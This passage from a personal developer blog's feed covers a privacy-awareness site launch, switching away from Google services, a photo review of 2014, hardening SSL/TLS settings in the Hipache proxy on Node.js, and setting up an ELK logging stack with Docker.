<li><a href="https://www.ukhas.net/wiki/esp8266/firmware_update">ESP8266 - Upgrading the Firmware</a></li>
<li><a href="http://www.esp8266.com/">ESP8266 Community Forum</a></li>
<li><a href="http://www.electrodragon.com/w/ESP8266">ESP8266 Electrodragon</a></li>
<li><a href="https://github.com/esp8266/esp8266-wiki">esp8266/esp8266-wiki - Toolchain @ GitHub</a></li>
<li><a href="http://www.labradoc.com/i/follower/p/notes-esp8266">ESP8266 WiFi Module Quick Start Guide</a></li>
<li><a href="https://github.com/espressif/esp8266_at">ESP8266 Offical AT+ Command @ GitHub</a></li>
</ul>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:1" role="doc-endnote">
<p>AcoLab is a hackerspace based in Clermont-Fd, France.Ā <a href="#fnref:1" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>
Je n'ai rien a cacher (I've got nothing to hide)2015-01-31T00:00:00+00:00https://williamdurand.fr/2015/01/31/je-n-ai-rien-a-cacher<p>This week, I launched <a href="https://jenairienacacher.fr/">jenairienacacher.fr</a>, a
website explaining what is wrong with the <em>ānothing to hideā</em> argument, and
providing information, data, and facts on this topic. This is my first project
written in French (as far as I can remember), however @Guyzmo made an English
version of the content (that isnāt available anymore, unfortunately).</p>
<p>I know quite a lot of people who think they donāt have anything to hide because
they are honest and they respect the law. I was a bit tired to always repeat
myself, to always find the same articles and studies to prove they did not
realize what it meant to say <em>āIāve got nothing to hideā</em>. I was not aware of
any online resource that aimed at gathering as much information as possible
written in French. Then, earlier this month, @KPhoen was asking for arguments to
explain the issue to his mom on Twitter. This project was born.</p>
<p>What I started to do was basic: aggregating information from various places, and
trying to come up with a website. However, <strong>this would not have been possible
without the help of @mazenovi</strong>. Yes, it would not have even existed. To be
honest, convincing him was the most complicated challenge to me. But as soon as
I explained him the project, he was willing to contribute! After a few weeks of
work, we released a first version.</p>
<p>On the first day, more than 8000 unique visitors browsed
<a href="https://jenairienacacher.fr">jenairienacacher.fr</a> (thanks @ubermuda for the
Piwik instance). I tweeted the link in the morning and a couple hours after, I
submitted it to <a href="https://news.ycombinator.com/item?id=8965142">Hacker News</a>. It
stayed on the home page for several hours, which is amazing given that the
website is written in French. Someone submitted the website on
<a href="https://www.reddit.com/r/france/">reddit</a> too, and it has been quite popular as
well. All in all, this project got <strong>positive feedback</strong>, way more than I
anticipated to be honest. We now have even more work and ideas to make this
website better!</p>
<p><img src="/images/posts/2015/01/rienacacher-stats.png" alt="" /></p>
<p>Both the website and its source code are <a href="https://github.com/willdurand/jenairienacacher.fr">hosted on
GitHub</a>. Feel free to give a
hand :) You can also follow @rienacacher_fr on Twitter if you want to keep in
touch. @mazenovi will tweet curated resources tagged with #jnarac.</p>
<p>Thank you ā„</p>
Rethinking My Life (On The Internets)2015-01-16T00:00:00+00:00https://williamdurand.fr/2015/01/16/rethinking-my-life-on-the-internets<blockquote>
<p><em>The Internets.</em> This wonderful land where everything is <strong>free</strong>, <strong>public</strong>,
andā¦ <strong>persistent</strong>. LOL</p>
</blockquote>
<p>I often <strong>carefully</strong> chose what I put online: comments, documents, pictures,
etc. I wrote <em>often</em> here because it took me a while to <strong>educate myself</strong>, to
<strong>learn and understand</strong> the implications of my behavior on Internet. I started
using Internet when I was 18<em>-ish</em>, because of my studies to be honest, since I
was not much interested in anything over IP at that time.</p>
<h2 id="fighting-technology-enslavement">Fighting Technology Enslavement</h2>
<p>By the end of 2013, I <strong>unsubscribed</strong> myself from most of the mailing-lists I
had subscribed to in the past, and basically turned off all notifications,
including phone notifications (Twitter, Facebook, Emails, etc.). I moved from a
push approach to a <strong>pull</strong> approach: <strong>I decide</strong> when I want to consume
information, not the other way around, so that I can keep focused on what I am
doing. I donāt need to be notified in real time. I donāt want to. When we
analyze such a situation, one reads his Twitter notifications because his own
smartphone told him to do so. What a weird feeling isnāt it? This is exactly
what <strong>technology enslavement</strong> is. I am part of this generation of (young)
people who can hang out in a pub, all focused on their smartphone for whatever
(bad) reason (most of the time, <em>Candy Crushā¦</em>), no one talking to each other,
not verbally I mean. I educated myself to avoid this, to <strong>live without
smartphone</strong> or laptop, and to truly start to <strong>live life to the full</strong>. Call me
nerd or whatever you want, I know too many muggles (read non-[IT|nerd|geek|tech]
people) who do thatā¦</p>
<p>Things went really well! I became more efficient, I get things done, and I did
not miss any important event. What was the difference then? <strong>Less stress</strong>,
<strong>more time</strong> to dedicate to things that matter such as family, friends and
hobbies.</p>
<h2 id="just-delete-me">Just. Delete. Me.</h2>
<p>Last year, I started to reduce the amount of web services I was using or rather,
I thought I would use. <a href="http://justdelete.me/">Justdelete.me</a> was great help! I
listed all services I was still using, and I deleted or disabled the other ones.</p>
<p>Now we are in 2015 and I began to accomplish something I wanted to do for a
while now: taking care of my personal data, for real. Too late? No, it is
<strong>better late than never</strong>.</p>
<h2 id="taking-control-of-my-personal-data">Taking Control of My Personal Data</h2>
<p>First, I want to <strong>control which companies can access my personal data</strong>,
meaning I agree with their <em>terms and conditions</em> (so things must be crystal
clear, which is not often the case). Second, I <strong>donāt want to be a product</strong>
anymore. Third, I want to be <strong>more respectful with people connected to me</strong>, by
not giving their personal information to companies without asking them. Of
course they probably do that with my information already, but I am aware of this
and I can live with it.</p>
<p>As I donāt use a lot of applications, switching to better services in term of
<strong>reliability</strong> and <strong>privacy</strong> implies three major pieces: emails, agendas and
contacts. All hosted on this good old friend: <strong>Google</strong>. I tried to move away
from Google, I swear it! Several times. But this month, I decided to take a new
year resolution to avoid giving up again.</p>
<h3 id="emails-contacts-agendas">Emails, Contacts, Agendas</h3>
<p>I started by buying my <strong>own domain name for my emails</strong>: <strong>drnd.me</strong>. It is
both short and quite easy to remember. Also, take my name, remove vowels,
concatenate <code class="language-plaintext highlighter-rouge">.me</code> and you are done! See the use of a domain name you control as
an abstraction layer, you can put any email hosting service behind it, your
contacts will still be able to reach you. I donāt know why I did not do that
earlier actuallyā¦ Then, I created new aliases and changed my email everywhere.
I reconfigured Gmail to send my new personal email as <em>Reply-To</em> emailās header,
so that it is being spread slowly but surely.</p>
<p>Then, based on some recommendations on Twitter, I chose
<strong><a href="http://www.fastmail.com/?STKI=13808765">Fastmail</a></strong> (affiliate link) to take
care of my emails, and I am <strong>happy to pay</strong> for it! It is <strong>blazing fast</strong>, it
works and it perfectly fits my needs. Importing all my emails from Gmail took
half a day. At the time of writing this article, Gmail forwards all emails to
Fastmail, and I now exclusively use it. Fastmail <a href="https://www.fastmail.com/about/privacy.html">takes the privacy of their
users very seriously</a>, no data
mining, a clear privacy policy and it is an Australian company subject to
Australian law (<a href="http://blog.fastmail.com/2013/10/07/fastmails-servers-are-in-the-us-what-this-means-for-you/">even if their servers are in the
US</a>).</p>
<p>Fastmail also provides an <strong>Address Book</strong> feature in <em>beta</em>. It works pretty
well so I moved all my contacts from Gmail to Fastmail. I also switched from
Google Calendar to Fastmail <strong>Calendar</strong>. Oh and they also provide a secure
platform for file sharing through WebDAV. <em>Tip top!</em></p>
<h3 id="instant-messaging">Instant Messaging</h3>
<p>I often use GTalk, replacing it is not easy because of my contacts, but also
because most of the existing IM solutions are tied to corporations (Facebook,
Google, etc.). The main issue is that GTalk conversations are indexed by Google
in Gmail, meaning these conversations are not really private.</p>
<p>As suggested by Josh, <a href="https://joshlockhart.com/archive/goodbye-google">using Adium and firing up
OTR-encryption</a> is a wise
solution. Because I canāt force my friends to use a secure communication
channel, I am forced to consider IM conversations in the public domain. If one
of my contacts uses a client supporting
<a href="https://en.wikipedia.org/wiki/Off-the-Record_Messaging">OTR</a>, we will have
private conversations though.</p>
<h3 id="web-browsing">Web Browsing</h3>
<p>My main web browser is Chrome, and I am not going to change it. What I did
however has been to completely <strong>remove any link to my Google account</strong>. I lost
all my bookmarks in the fight, and I realized that this was not a problem. Who
uses bookmarks nowadays anyway? ;-) I also <strong>disabled</strong> all <em>speed improvement
features</em> that use Google web services.</p>
<p>I configured Chrome to use <a href="https://duckduckgo.com/">DuckDuckGo</a>, rather than
Google. It is going well so far, but I am not going to definitely avoid Google.
That is why I installed <a href="https://www.eff.org/privacybadger">Privacy Badger</a>, a
free <strong>privacy-related browser extension</strong>, enabling its users to easily detect
and control web bugs. As suggested by Josh again, I also installed <a href="https://www.eff.org/https-everywhere">HTTPS
Everywhere</a> to ensure that my web browser
establishes <strong>a secure connection</strong> to websites that support it. This is more or
less the <em>client version</em> of
<a href="https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security">HSTS</a>.</p>
<p>For fun, I also gave the <a href="https://www.torproject.org/projects/torbrowser.html.en">Tor
Browser</a> a try, a bit
too slow but still quite good. I donāt plan to use yet, but it may be useful if
things turn worse than expected here in Franceā¦</p>
<h2 id="what-else">What Else?</h2>
<p>For years, I helped Google track you by using Google Analytics. I do
<strong>apologize</strong> for that. I switched to <a href="http://piwik.org/">Piwik</a> last month
thanks to @ubermuda, and I now recommend it over Google Analytics.</p>
<p>I am now looking for alternatives to <a href="https://disqus.com/">Disqus</a> for the same
reasons, but it is a bit complicated since this blog is basically static HTML,
hosted on <a href="https://github.com/willdurand/willdurand.github.com">GitHub</a>. If
you have suggestions, comments (on Disqus, haha!) are open :)</p>
<p>Last but not least, I did not talk about
<a href="https://en.wikipedia.org/wiki/Pretty_Good_Privacy">PGP</a>. I donāt really use it
yet (<a href="https://pgp.mit.edu/pks/lookup?op=get&search=0xA509BCF1C1274F3B">my public
key</a>), mainly
because I donāt really know who really uses it: my parents donāt, my friends
donāt. That is why projects such as <a href="https://www.caliopen.org/">Caliopen</a> are
more than interesting!
Since I own a PGP key, I use OSXās Mail.app mail client +
<a href="https://gpgtools.org/">GPGTools</a> and <a href="https://ipgmail.com/">iPGMail</a> on iPhone.</p>
<p>Talking about security, that is not what I targeted in the first place. I am
still growing up (we are all growing up when it is related to security in my
opinion), so things are going to change over time. It is probably far from
perfect, but it is better than doing nothing.</p>
A year in pictures2014-12-29T00:00:00+00:00https://williamdurand.fr/2014/12/29/a-year-in-pictures<p><a href="https://github.com/willdurand">Open Source</a> and work put aside, here are some
of my greatest moments in 2014.</p>
<h2 id="january">January</h2>
<p class="with-caption"><img src="/images/posts/2014/12/brussels.jpg" alt="" />
<em>Visiting my sister + City Trip ā Brussels, Belgium</em></p>
<h2 id="february">February</h2>
<p class="with-caption"><img src="/images/posts/2014/12/clermontech-birthday.jpg" alt="" />
<em>Clermontāech 1st Birthday ā Clermont-Fd, France</em></p>
<h2 id="march">March</h2>
<p class="with-caption"><img src="/images/posts/2014/12/alps.jpg" alt="" />
<em>Skiing with friends ā French Alps, France</em></p>
<h2 id="april">April</h2>
<p class="with-caption"><img src="/images/posts/2014/12/running.jpg" alt="" />
<em>Running ā Gergovie, France</em></p>
<h2 id="may">May</h2>
<p class="with-caption"><img src="/images/posts/2014/12/montreal.jpg" alt="" />
<em>Visiting @KPhoen + City Trip ā Montreal, Canada</em></p>
<p class="with-caption"><img src="/images/posts/2014/12/nyc.jpg" alt="" />
<em>City Trip + Visiting @jmikola ā New York City, USA</em></p>
<p class="with-caption"><img src="/images/posts/2014/12/quebec.jpg" alt="" />
<em>Visiting Julien + City Trip ā Quebec, Canada</em></p>
<h2 id="june">June</h2>
<p class="with-caption"><img src="/images/posts/2014/12/phptour.jpg" alt="" />
<em>Visiting @youb_s + Conference ā Lyon, France</em></p>
<h2 id="july">July</h2>
<p class="with-caption"><img src="/images/posts/2014/12/las-vegas.jpg" alt="" />
<em>Conference ā Las Vegas, USA</em></p>
<p class="with-caption"><img src="/images/posts/2014/12/road66.jpg" alt="" />
<em>Road Trip ā Somewhere on Road 66, USA</em></p>
<p class="with-caption"><img src="/images/posts/2014/12/williams.jpg" alt="" />
<em>Road Trip ā Williams (Arizona), USA</em></p>
<p class="with-caption"><img src="/images/posts/2014/12/grand-canyon.jpg" alt="" />
<em>Road Trip ā Grand Canyon, USA</em></p>
<p class="with-caption"><img src="/images/posts/2014/12/horseshoe-bend.jpg" alt="" />
<em>Road Trip ā Horseshoe Bend, USA</em></p>
<p class="with-caption"><img src="/images/posts/2014/12/valley-of-fire.jpg" alt="" />
<em>Road Trip ā Valley of Fire, USA</em></p>
<h2 id="august">August</h2>
<p class="with-caption"><img src="/images/posts/2014/12/berlin.jpg" alt="" />
<em>Visiting @igorwhilefalse + City Trip ā Berlin, Germany</em></p>
<p class="with-caption"><img src="/images/posts/2014/12/vichy-tri.jpg" alt="" />
<em>Triathlon (Olympic distance) ā Vichy, France</em></p>
<h2 id="september">September</h2>
<p class="with-caption"><img src="/images/posts/2014/12/bike.jpg" alt="" />
<em>Mountain Biking race with friends (2x85km) ā <a href="https://en.wikipedia.org/wiki/Massif_Central">Massif Central</a>, France</em></p>
<h2 id="october">October</h2>
<p class="with-caption"><img src="/images/posts/2014/12/blend.jpg" alt="" />
<em>Conference ā Lyon, France</em></p>
<h2 id="november">November</h2>
<p class="with-caption"><img src="/images/posts/2014/12/clermontech-workshop.jpg" alt="" />
<em>1st Clermontāech Workshop (Git) ā Clermont-Fd, France</em></p>
<h2 id="december">December</h2>
<p class="with-caption"><img src="/images/posts/2014/12/hanoi.jpg" alt="" />
<em>Conference + City Trip ā Hanoi, Vietnam</em></p>
<p>I would like to <strong>thank</strong> everyone I met either online or in real life over the
year as well as my lovely friends ā„ I wish all of you a <strong>Happy New
Year</strong>, and all the best! See you in 2015!</p>
Configuring SSL/TLS With Hipache (And Node.js)2014-12-23T00:00:00+00:00https://williamdurand.fr/2014/12/23/configuring-ssl-tls-with-hipache-and-nodejs<p>Lately, I have been working on configuring a <strong>SSL/TLS layer</strong> for a project. As
you may (or may not) think, it is not only about creating SSL certificates. In
the following article, I am going to describe how to properly configure SSL/TLS
with <a href="https://github.com/hipache/hipache">Hipache</a>, a distributed HTTP(s) and
websocket proxy.
<em>Disclaimer: even if I am really interested in security, I am not a security
expert.</em></p>
<hr />
<p>Getting SSL certificates (<code class="language-plaintext highlighter-rouge">key</code>, <code class="language-plaintext highlighter-rouge">crt</code>, <code class="language-plaintext highlighter-rouge">pem</code> files) is a good start, but it is
definitely not enough. With the recent security issues such as
<a href="https://www.openssl.org/~bodo/ssl-poodle.pdf">POODLE</a>,
<a href="http://heartbleed.com/">Heartbleed</a> and so on, configuring this layer requires
more attention than ever.
<strong>Want to check your current configuration?</strong> <a href="https://www.ssllabs.com/ssltest/index.html">Qualys SSL Server
Test</a> to the rescue! First time I
tried, I got a C gradeā¦</p>
<h2 id="secure-protocols">Secure Protocols</h2>
<p>There are five secure procotols, part of the SSL/TLS family, but most of them
should <strong>not</strong> be used. <strong>SSLv2 and SSLv3 are insecure</strong>, do not used them! Yes,
<a href="https://disablessl3.com/">disable SSLv3</a> now! TLSv1 is also insecure, whereas
TLSv1.1 and TLSv1.2 are not, or at least are without known security issues
(yet).</p>
<p><strong>Hipache</strong> is a <a href="http://nodejs.org/">Node.js</a> application. The good thing about
this platform is that people seem to care about security, and since <code class="language-plaintext highlighter-rouge">v0.10</code>
<a href="https://github.com/joyent/node/pull/8551">SSLv2 and SSLv3 are disabled by
default</a>. Hipache relies on <a href="http://nodejs.org/api/https.html#https_https_createserver_options_requestlistener">Nodeās
<code class="language-plaintext highlighter-rouge">https.createServer()</code></a>
method, and a <code class="language-plaintext highlighter-rouge">secureProtocol</code> option is available to specify the secure
protocol to use. Its default value is <code class="language-plaintext highlighter-rouge">SSLv23_method</code> and is about negotiating a
protocol from the highest level down to whatever the client supports. Yes, worst
name ever! Another option called <code class="language-plaintext highlighter-rouge">secureOptions</code> is available and can be used to
explicitly disable the use of SSLv3 and SSLv2. Since <code class="language-plaintext highlighter-rouge">v0.10.33</code>, it is disabled
by default though. Such a configuration <a href="https://gist.github.com/3rd-Eden/715522f6950044da45d8">protects against the POODLE attack in
Node.js</a>.</p>
<p>Unfortunately, I could not get it work as is using Hipache, so I ended up
patching this load balancer to <a href="https://github.com/hipache/hipache/pull/178">support the <code class="language-plaintext highlighter-rouge">secureOptions</code>
parameter</a>. This patch provides the
exact same configuration as described above. (Note: I maintain a <a href="https://registry.hub.docker.com/u/willdurand/hipache/">Docker image
with my Hipache tweaks</a>,
running in production).</p>
<p>Securing secure protocols: <em>done!</em></p>
<h2 id="secure-cipher-suites">Secure Cipher Suites</h2>
<p>Next step is about defining <strong>how secure communication takes place</strong>. That is
important for enabling <a href="https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy">Forward
Secrecy</a>,
which means that for an attacker it wil not be possible to decrypt your previous
data exchanges if they get access to your private key, and to protect against
the <a href="https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls">BEAST
attack</a>
(which is <strong>not impractical</strong>).</p>
<p>After having read how to <a href="https://community.qualys.com/blogs/securitylabs/2013/08/05/configuring-apache-nginx-and-openssl-for-forward-secrecy">configure Apache, Nginx, and OpenSSL for Forward
Secrecy</a>,
I decided to use the following <strong>cipher suite</strong> (which <a href="https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what">disables
RC4</a>
by the way):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>DH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH+aRSA+SHA256 EECDH+aRSA+RC4 EECDH EDH+aRSA RC4 !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS !RC4
</code></pre></div></div>
<p>So far so good. Not exactly, because stable Node.js version (<code class="language-plaintext highlighter-rouge">v0.10.34</code>) does
not support <strong>Elliptic Curve Diffie-Hellman</strong> (ECDH) ciphers yet, even if a
<a href="https://github.com/joyent/node/commit/bb909ad64285194b3d02322e3fb4b17ff5192c50">patch</a>
has been merged. Node <code class="language-plaintext highlighter-rouge">v0.11.14</code> (unstable) contains this patch, therefore it is
the <strong>version to use if one wants to deploy Forward Secrecy</strong>. It is important
to support ECDHE because it is <strong>supported by all major modern browsers</strong>
whereas Diffie-Hellman (DHE) does not.</p>
<p>Hipache exposes a <code class="language-plaintext highlighter-rouge">ciphers</code> option but does not provide the <code class="language-plaintext highlighter-rouge">honorCipherOrder</code>
one, which is <a href="http://nodejs.org/api/tls.html">recommended to mitigate BEAST attacks in Node.js
documentation</a>. Then again, there is a
<a href="https://github.com/hipache/hipache/pull/177">pull-request for that</a>!</p>
<p>My Hipache <code class="language-plaintext highlighter-rouge">https</code> configuration now looks like this:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">"https"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"port"</span><span class="p">:</span><span class="w"> </span><span class="mi">443</span><span class="p">,</span><span class="w">
</span><span class="nl">"bind"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="s2">"0.0.0.0"</span><span class="w"> </span><span class="p">],</span><span class="w">
</span><span class="nl">"key"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/etc/ssl/ssl.key"</span><span class="p">,</span><span class="w">
</span><span class="nl">"cert"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/etc/ssl/ssl.crt"</span><span class="p">,</span><span class="w">
</span><span class="nl">"ciphers"</span><span class="p">:</span><span class="w"> </span><span class="s2">"EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH+aRSA+SHA256 EECDH+aRSA+RC4 EECDH EDH+aRSA RC4 !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS !RC4"</span><span class="p">,</span><span class="w">
</span><span class="nl">"honorCipherOrder"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>Doing all of this allowed me to get a <strong>A</strong> grade with Qualysā tool, which is
quite good. In the next section, I am going to describe a few more security
points that everyone should know and check.</p>
<h2 id="whats-next">Whatās Next?</h2>
<h3 id="client-initiated-renegotiation">Client-Initiated Renegotiation</h3>
<p>In TLS, <strong>renegotiation allows parties to stop exchanging data</strong> in order to
renegotiate how the communication is secured. The protocol lets the client
renegotiate certain aspects of the TLS session. Thing is, <strong>client-initiated
renegotiation</strong> may lead to <a href="https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks">Denial of
Service</a>
(DoS), and therefore <strong>must be disabled</strong>.</p>
<p>In Node.js, <a href="http://nodejs.org/api/tls.html#tls_client_initiated_renegotiation_attack_mitigation">renegotiations are limited to three times every 10
minutes</a>.
While these default values seems legit to me, Qualysā tool <a href="https://community.qualys.com/thread/14077">reports no
protection against this attack</a>.</p>
<h3 id="tls-compression">TLS Compression</h3>
<p>The <a href="https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls">CRIME
attack</a>
exploits <strong>a flaw with data compression</strong>. When used to recover the content of
secret authentication cookies, it allows an attacker to perform session
hijacking on an authenticated web session, allowing the launching of further
attacks (says <a href="http://en.wikipedia.org/wiki/CRIME">Wikipedia</a>).</p>
<p>In order to protect against this attack, Node.js <a href="https://github.com/joyent/node/issues/1523">disables all
compression</a>.</p>
<h2 id="downgrade-attack-prevention">Downgrade Attack Prevention</h2>
<p>A <strong>Man-In-The-Middle</strong> (MITM) can disrupt an SSL handshake and cause the client
and server to select an earlier SSL protocol version. This is known as an SSL
downgrade attack. <strong>Disabling SSLv3 protects against this attack</strong>.</p>
<p>It is worth mentioning that Google has written an
<a href="https://tools.ietf.org/html/draft-ietf-tls-downgrade-scsv-00">RFC</a> to propose
an extension to SSL/TLS named <code class="language-plaintext highlighter-rouge">TLS_FALLBACK_SCSV</code> that seeks to prevent protocol
downgrade attacks. The latest OpenSSL <code class="language-plaintext highlighter-rouge">1.0.1j</code> version support
<code class="language-plaintext highlighter-rouge">TLS_FALLBACK_SCSV</code> which Node <code class="language-plaintext highlighter-rouge">v0.11.14</code> does not support yet (<code class="language-plaintext highlighter-rouge">1.0.1i</code> by
now).</p>
<h3 id="openssl">OpenSSL</h3>
<p>Reminder: <a href="http://serverfault.com/questions/587324/heartbleed-how-to-reliably-and-portably-check-the-openssl-version">make sure to use a secure version of
OpenSSL</a>.</p>
<h3 id="http-headers">HTTP Headers</h3>
<p>Enable <a href="https://www.owasp.org/index.php/HTTP_Strict_Transport_Security">HTTP Strict Transport
Security</a> (HSTS)
in your web server (Nginx here) configuration:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Enable HSTS
add_header Strict-Transport-Security max-age=63072000;
</code></pre></div></div>
<h2 id="resources">Resources</h2>
<ul>
<li><a href="https://www.ssllabs.com/downloads/SSL_TLS_Deployment_Best_Practices.pdf">SSL/TLS Deployment Best
Practices</a></li>
<li><a href="https://community.qualys.com/blogs/securitylabs">Qualysā Blog - Security Labs</a></li>
<li><a href="https://wiki.mozilla.org/Security/Server_Side_TLS">Mozilla Security/Server Side
TLS</a></li>
</ul>
Elasticsearch, Logstash & Kibana with Docker2014-12-17T00:00:00+00:00https://williamdurand.fr/2014/12/17/elasticsearch-logstash-kibana-with-docker<p>Yesterday, I gave a talk on <a href="https://speakerdeck.com/willdurand/docker-ceci-nest-pas-une-introduction-apihour-number-12">how I use <strong>Docker</strong> to deploy
applications</a>
at Clermontāech <a href="http://clermontech.org/api-hours/api-hour-12.html">API Hour
#12</a>, a French local
developer group. I explained how to create a simple yet robust infrastructure to
deploy a web application and a few services with <strong>zero downtime</strong>.</p>
<p>In order to monitor my infrastructure, and especially the HTTP responses, I gave
the famous <strong>ELK stack</strong> a try. ELK stands for
<a href="http://www.elasticsearch.org/"><strong>E</strong>lasticsearch</a>,
<a href="http://logstash.net/"><strong>L</strong>ogstash</a>,
<a href="http://www.elasticsearch.org/overview/kibana/"><strong>K</strong>ibana</a>. As I did not really
talk about this part, I am going to explain it in this blog post.</p>
<h2 id="the-elk-stack">The ELK Stack</h2>
<p>I wrote a <a href="https://github.com/willdurand/docker-elk">Dockerfile</a> to build an ELK
image. While you can directly use this image to run a container (mounting a
<em>host</em> folder as a volume for the configuration files), you should probably
extend it to add your own configuration so that you can get rid of this mapping to
a <em>host</em> folder. This is one of the Docker best practices. Last but not
least, Elasticsearchās data is located into <code class="language-plaintext highlighter-rouge">/data</code>. I recommend that you use a
<a href="https://docs.docker.com/userguide/dockervolumes/">data-only container</a> <a href="http://www.tech-d.net/2013/12/16/persistent-volumes-with-docker-container-as-volume-pattern/">to
persist these
data</a>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ docker run -d -v /data --name dataelk busybox
$ docker run -p 8080:80 \
-v /path/to/your/logstash/config:/etc/logstash \
--volumes-from dataelk \
willdurand/elk
</code></pre></div></div>
<h2 id="logstash-forwarder">Logstash Forwarder</h2>
<p>In my opinion, such a stack should run on its own server, that is why the
<code class="language-plaintext highlighter-rouge">logstash</code> configuration should only receive logs from the outside (the
production environment for instance) and send them to Elasticsearch. In other
words, we need a tool to collect logs in production, and process them elsewhere.
Fortunately, that is exactly the goal of the
<a href="https://github.com/elasticsearch/logstash-forwarder">logstash-forwarder</a>
(formerly <em>lumberjack</em>) project!</p>
<p>Below is an example of <code class="language-plaintext highlighter-rouge">logstash</code> configuration to process logs received on port
<code class="language-plaintext highlighter-rouge">5043</code> thank to the <code class="language-plaintext highlighter-rouge">lumberjack</code> input, and persist them into Elasticsearch. You
may notice that <a href="https://github.com/hipache/hipache">Hipache</a> logs are filtered
(I actually took this configuration from my production server :p).</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>input {
lumberjack {
port => 5043
ssl_certificate => "/etc/ssl/logstash-forwarder.crt"
ssl_key => "/etc/ssl/logstash-forwarder.key"
}
}
filter {
if [type] == "hipache" {
grok {
patterns_dir => "/etc/logstash/patterns/nginx"
match => { "message" => "%{NGINXACCESS}" }
}
}
}
output {
elasticsearch {
host => "127.0.0.1"
cluster => "logstash"
# Uncomment the line below if you use Kibana 3.1.0
# embedded => false
}
}
</code></pre></div></div>
<p>It is worth mentioning that <code class="language-plaintext highlighter-rouge">logstash-forwarder</code> requires
<a href="https://github.com/willdurand/docker-logstash-forwarder#ssl-certificate">SSL</a>.</p>
<p>Back to the production environment, I wrote a <a href="https://github.com/willdurand/docker-logstash-forwarder">Dockerfile to run
<code class="language-plaintext highlighter-rouge">logstash-forwarder</code></a>.
You need the same set of SSL files as seen previously in the <code class="language-plaintext highlighter-rouge">logstash</code>
configuration, and a configuration file for <code class="language-plaintext highlighter-rouge">logstash-forwarder</code>. Then again,
using this image as a base image is recommended, but for testing purpose, we can
mount <em>host</em> folders as volumes:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ docker run \
--volume /path/to/your/ssl/files:/etc/ssl \
--volume /path/to/your/config/file:/etc/logstash-forwarder \
--volume /var/log/nginx:/var/log/nginx \
willdurand/logstash-forwarder
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">logstash-forwarder</code> <code class="language-plaintext highlighter-rouge">config.json</code> file contains the following content. It
tells <code class="language-plaintext highlighter-rouge">logstash-forwarder</code> to send <code class="language-plaintext highlighter-rouge">hipache</code> logs (found in
<code class="language-plaintext highlighter-rouge">/var/log/hipache/access.log</code>) to <code class="language-plaintext highlighter-rouge">logstash.example.org:5043</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
"network": {
"servers": [ "logstash.example.org:5043" ],
"ssl certificate": "/etc/ssl/logstash-forwarder.crt",
"ssl key": "/etc/ssl/logstash-forwarder.key",
"ssl ca": "/etc/ssl/logstash-forwarder.crt"
},
"files": [
{
"paths": [ "/var/log/hipache/access.log" ],
"fields": { "type": "hipache" }
}
]
}
</code></pre></div></div>
<p>Then again, having <strong>data-only containers</strong> everywhere would be better, even for
logs (and you would use <code class="language-plaintext highlighter-rouge">--volume-from datalogs</code> for instance).</p>
<h2 id="kibana">Kibana</h2>
<p>You are all set! You can now create your own dashboards in Kibana. Here is mine
to monitor the HTTP responses of the load balancer:</p>
<p><img src="/images/posts/2014/12/kibana.webp" alt="" /></p>
<p>Need inspiration? Watch <a href="https://www.youtube.com/watch?v=1r1SOeaDqH4&list=PL9zDdgiGjkIeeVlrsz9A8o3HtZhvERHT-&index=7">this
video</a>
if you speak Frenchā¦</p>
<h2 id="also">Alsoā¦</h2>
<p><a href="http://12factor.net">Twelve Factors</a> has a point saying that logs should be
sent to <code class="language-plaintext highlighter-rouge">std[err|out]</code>, which does not always seem possible to me, but if you do
that, then you will probably be interested in
<a href="https://github.com/progrium/logspout">logspout</a>.</p>
[Video] Software testing: past, present, future2014-11-09T00:00:00+00:00https://williamdurand.fr/2014/11/09/video-software-testing-past-present-future<p>Last month, I gave a talk on software testing at <a href="https://event.afup.org/forumphp2014__programme/">Forum PHP 2014</a> in Paris,
organized by the french foundation of French speaking PHP users
(<a href="https://afup.org/home">AFUP</a>). Then again, congratulations to the team, this
event was a blast! (As usual, I would say :-))</p>
<p>In this talk, I gave an overview of what software testing was, describing three
different periods: past, present, and future, hence the title of this talk.</p>
<p>You will find the video of my talk below (in French, sorry):</p>
<div class="video-container">
<center>
<iframe width="560" height="315" src="//www.youtube.com/embed/UNSJI4jsmCc" frameborder="0" allowfullscreen=""></iframe>
</center>
</div>
<p></p>
<p>And, here are my slides:</p>
<script async="" class="speakerdeck-embed" data-id="078b9d803cd6013218882e672ff93e89" data-ratio="1.29456384323641" src="//speakerdeck.com/assets/embed.js"></script>
<p></p>
<p>If you attended my talk and did not rate it yet, please leave a comment on
